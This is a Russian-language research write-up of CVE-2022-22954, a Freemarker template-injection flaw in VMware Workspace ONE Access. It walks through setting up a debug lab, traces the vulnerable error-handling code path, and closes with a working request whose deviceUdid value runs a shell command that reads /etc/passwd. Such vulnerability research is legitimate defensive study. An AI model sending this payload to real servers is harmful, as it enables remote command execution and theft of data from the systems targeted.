
CVE-2022-22954 аналитик
Workspace ONE Access (модель предоставления рабочего пространства как услуги) предоставляет многофакторную аутентификацию, единый вход и условный доступ для SaaS, веб- и мобильных приложений. CVE-2022-22954 — это уязвимость Server-side Template Injection, присутствующая в следующих продуктах:
Скачайте файл OVA VMware Workspace ONE Access Appliance версии 21.08.0.1
Откройте файл в VMware Workstation; виртуальная машина должна находиться в сети NAT
В Networking Properties необходимо настроить Host Name (FQDN)

После завершения установки перейдите по адресу https://{{hostname}}:8443/, чтобы настроить пароль учётной записи приложения, пароль учётной записи ssh и базу данных приложения Приложение запускается по адресу https://{{hostname}}/

Войдите в виртуальную машину под учётной записью sshuser, переключитесь на учётную запись root Путь приложения находится в /opt/vmware/horizon/workspace/ Исходный код приложения находится в каталоге /opt/vmware/horizon/workspacce/webapps

Проверьте файл /opt/vmware/horizon/workspace/bin/setenv.sh — видно, что переменную JAVA_OPTS можно настроить для удалённой отладки

Добавьте -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n в JAVA_OPTS и перезапустите службу
`systemctl restart horizon-workspace.service`
Скачайте файл исправления HW-154129-applyWorkaround.py
В ходе этих шагов есть шаг удаления файла templates/customError.ftl из приложения

В файле customError.ftl присутствует функция eval. Уязвимость Freemarker SSTI может быть использована, если можно контролировать значение errorObj.


В классе com.vmware.enusercatalog.ui.web.UiErrorController видно, что метод handleGenericError присваивает значение errorObj через переменную errorMessage

Продолжаем отслеживать вызовы функций и параметр errorMessage
Метод handleUnauthorizedError

Метод getErrorPage

Что касается двух методов sendError и sendUnhandledError, то значение errorMessage берётся из свойства javax.servlet.error.message


В классе com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver свойству javax.servlet.error.message"* присваивается значение в методе resolverExeption

Метод handleAnyGenericExeption помечен аннотацией @ExeptionHandler

В классе com.vmware.endusercatalog.ui.UiApplication среди пакетов, помеченных @CommponentScan, есть com.vmware.endusercatalog.auth

=> Исключения из этого пакета могут быть перехвачены методом handleAnyGenericExeption
В com.vmware.endusercatalog.ui.config перехватчик AuthContextPopilationInterceptor добавляется для путей /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify


Переходим к классу com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor: в методе preHandle приложение принимает два параметра deviceUdid и deviceType и вызывает метод authContextBuilder

В классе com.vmware.endusercatalog.auth.interceptor.AuthContext исключение InvalidAuthContextException возникает, если условие this.isValidRequest не выполняется


Чтобы условие isValidRequest выполнялось, оба параметра this.deviceId и this.deviceType должны быть одновременно пустыми или одновременно иметь значения

=> Если передать значение только для одного из двух параметров, здесь возникнет ошибка

Отправьте запрос
GET /catalog-portal/ui/oauth/verify?deviceUdid=111
появляется ошибка
An unexpected error occurred while processing request with requestId: {0}.
Возвращаясь к методу com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController, видно, что указанная ошибка возникает из-за отсутствия обязательного параметра error
@GetMapping(
value = {"/ui/oauth/verify"},
params = {"error"}
)
@ApiOperation(
value = "authorizeError",
notes = ""
)
public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
}
Повторно отправьте запрос
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc
значение deviceUdid появляется в ответе

Вставьте параметр, вызывающий SSTI Freemarker

Отправьте запрос со значением
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

